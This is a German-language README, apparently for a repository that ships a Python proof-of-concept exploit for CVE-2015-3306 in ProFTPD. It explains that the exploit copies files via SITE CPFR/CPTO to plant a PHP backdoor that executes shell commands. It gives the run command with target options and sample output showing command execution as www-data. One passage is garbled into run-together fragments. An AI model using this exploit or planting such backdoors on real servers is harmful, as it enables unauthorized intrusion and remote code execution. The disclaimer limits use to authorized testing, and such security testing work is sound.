
Dieses Repository enthält einen Python-Proof-of-Concept (PoC)-Exploit für CVE-2015-3306
⚠️ Warnung: Verwenden Sie dies nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben. Unbefugte Ausnutzung ist illegal.
Mohamed EL-KHAROUATI
CVE-2015-3306 ist eine Directory-Traversal-Schwachstelle in ProFTPD 1.3.5b und früheren Versionen. Dieser Exploit ermöglicht das Kopieren beliebiger Dateien und das Platzieren einer PHP-Hintertür im Webroot. Die Hintertür kann beliebige Shell-Befehle ausführen.
SITE CPFR/CPTO aus.backdoor.php) im angegebenen Webroot.--rcommand.requests-Bibliothek (pip install requests)# Exploit ausführen
python3 exploit.py --rhost <target_ip> --rport <ftp_port> --rpath <web_root_path> --rcommand <shell_command>
# Beispiel:
python3 exploit.py --rhost <target_ip> --rport <targetftp_port> --rpath /var/www/html --rcommand whoami
# Erwartete Ausgabe:
[+] CVE-2015-3306 exploit by Mohamed EL-KHAROUATI
[+] Exploiting <target_ip>
[+] Running Command whoami
[+] Target exploited, accessing shell at http://<target_ip> /backdoor.php
[+] Running whoami: www-data
[+] Done